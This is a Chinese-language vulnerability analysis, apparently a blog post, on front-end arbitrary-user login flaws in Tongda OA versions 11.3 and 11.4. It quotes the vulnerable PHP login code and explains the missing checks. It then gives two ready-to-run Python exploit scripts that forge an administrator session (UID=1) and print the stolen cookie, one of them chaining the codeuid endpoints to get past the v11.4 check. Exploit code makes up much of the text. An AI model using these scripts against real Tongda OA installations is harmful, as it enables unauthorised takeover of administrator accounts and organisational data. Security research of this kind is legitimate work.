前言 通达OA又爆出前台任意用户登录漏洞,此CMS的漏洞还是挺多的,此次的漏洞有很多版本差异。
漏洞分析 v11.3 在v11.3中漏洞文件位置在logincheck_code.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php include_once "inc/session.php" ;session_start ();ob_start ();include_once "inc/conn.php" ;include_once "inc/td_core.php" ;include_once "inc/utility.php" ;include_once "inc/utility_cache.php" ;include_once "inc/TRedis/TRedis.php" ;$redis = TRedis ::redis ();$UID = intval ($_POST ["UID" ]);$msg = "" ;$PARA_ARRAY = get_sys_para ("SEC_PASS_FLAG,SEC_PASS_TIME,SEC_RETRY_BAN,SEC_RETRY_TIMES,SEC_BAN_TIME,SEC_USER_MEM,SEC_KEY_USER,LOGIN_KEY,SEC_ON_STATUS,SEC_INIT_PASS,LOGIN_SECURE_KEY,LOGIN_USE_DOMAIN,DOMAIN_SYNC_CONFIG,ONE_USER_MUL_LOGIN,IS_CPDA_BYIP,USE_DISCUZ,OA_URL,WEBROOT,DEFAULT_ATTACH_PATH,MOBILE_PC_OPTION,TD_UNIQID" );while (list ($PARA_NAME , $PARA_VALUE ) = each ($PARA_ARRAY )) { $PARA_NAME = $PARA_VALUE ; } $query = "SELECT * from USER where UID='$UID '" ;$cursor = exequery (TD::conn (), $query );.......... if ($ROW = mysql_fetch_array ($cursor )) { $SECURE_KEY_SN = $ROW ["SECURE_KEY_SN" ]; $_SESSION ["LOGIN_USER_NAME" ] = $LOGIN_USER_NAME ;$_SESSION ["LOGIN_USER_PRIV" ] = $LOGIN_USER_PRIV ;$_SESSION ["LOGIN_USER_PRIV_OTHER" ] = $LOGIN_USER_PRIV_OTHER ;$_SESSION ["LOGIN_SYS_ADMIN" ] = (($LOGIN_USER_PRIV == "1" ) || find_id ($LOGIN_USER_PRIV_OTHER , "1" ) ? 1 : 0 );$_SESSION ["LOGIN_DEPT_ID" ] = $LOGIN_DEPT_ID ;$_SESSION ["LOGIN_DEPT_ID_OTHER" ] = $LOGIN_DEPT_ID_OTHER ;$_SESSION ["LOGIN_AVATAR" ] = $LOGIN_AVATAR ;$_SESSION ["LOGIN_THEME" ] = $LOGIN_THEME ;$_SESSION ["LOGIN_FUNC_STR" ] = $LOGIN_FUNC_STR ;$_SESSION ["LOGIN_NOT_VIEW_USER" ] = $LOGIN_NOT_VIEW_USER ;$_SESSION ["LOGIN_ANOTHER" ] = $LOGIN_ANOTHER ;$_SESSION ["LOGIN_DEPT_ID_JUNIOR" ] = $LOGIN_DEPT_ID_JUNIOR ;$_SESSION ["LOGIN_CLIENT" ] = $LOGIN_CLIENT ;$_SESSION ["LOGIN_USER_SEX" ] = $LOGIN_USER_SEX ;
在Line 12
行获取了UID
参数,然后竟然直接带入到了20行的sql语句查询,后续没有对权限的验证处理在Line 180-196
就保存到了SESSION
中。 payload:
1 2 POST /logincheck_code.php UID=1
即可获取到cookie
,替换当前cookie
即可登陆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport jsonheaders={} def getV11Session (url ): checkUrl = url+'/general/login_code.php' print (checkUrl) try : headers["User-Agent" ] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)" getSessUrl = url+'/logincheck_code.php' res = requests.post( getSessUrl, data={ 'UID' : int (1 )},headers=headers) print ('[+]Get Available COOKIE:' +res.headers['Set-Cookie' ]) except : print ('[-]Something Wrong With ' +url) if __name__ == "__main__" : getV11Session("http://xxxxx/" )
替换cookie
访问/general/index.php
即可 在v2017 2018.06.xxx版本中同样是可用的
v11.4 相比于v11.3,11.4在logincheck_code.php
中的Line15-19
加入了验证判断
Line14
中login_codeuid
变量来于TD::get_cache
,只要能够绕过此处的验证即可和v11.3中一样利用。 要绕过的条件:
获取CODEUID
设置cache"CODE_LOGIN" . $CODEUID
搜索TD::get_cache
发现general/login_code.php
进行了此操作
这里获取到codeuid
后直接再post数据到logincheck_code.php
即可
替换cookie登录即可
同样在ispirit/login_code_check.php
、general/login_code_scan.php
、ispirit/login_code.php
三个个文件也可以结合利用
ispirit/login_code_check.php
:
Line 5-6
获取codeuid
和login_codeuid
这里的cache类型为CODE_LOGIN_PC
且type为confirm
才可进入到Line 193-209
的设置SESSION
流程。
general/login_code_scan.php
: 最后缺少的就是codeuid
的获取,恰好在ispirit/login_code.php
中输出了codeuid
梳理下流程:
进入ispirit/login_code.php
获取codeuid
使用获取的codeuid
进入general/login_code_scan.php
设置type为confirm
使用codeuid
进入ispirit/login_code_check.php
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import jsonimport requestsdef getSession (url ): vulUrl = url+'/ispirit/login_code.php' res = requests.get(vulUrl) codeuid = json.loads(res.text)['codeuid' ] print (codeuid) confirmUrl = url + '/general/login_code_scan.php' data = { 'codeuid' :codeuid, 'uid' : int (1 ), 'source' : 'pc' , 'type' : 'confirm' , 'username' : 'admin' , } res = requests.post(confirmUrl,data=data) status = json.loads(res.text)['status' ] print (status) if status == str (1 ): seesionUrl = url + '/ispirit/login_code_check.php?codeuid=' +codeuid res = requests.get(seesionUrl) print ('[*]cookie:' +res.headers['Set-Cookie' ]) else : print ('[-]failed' ) if __name__ == "__main__" : getSession('http://xxxx/' )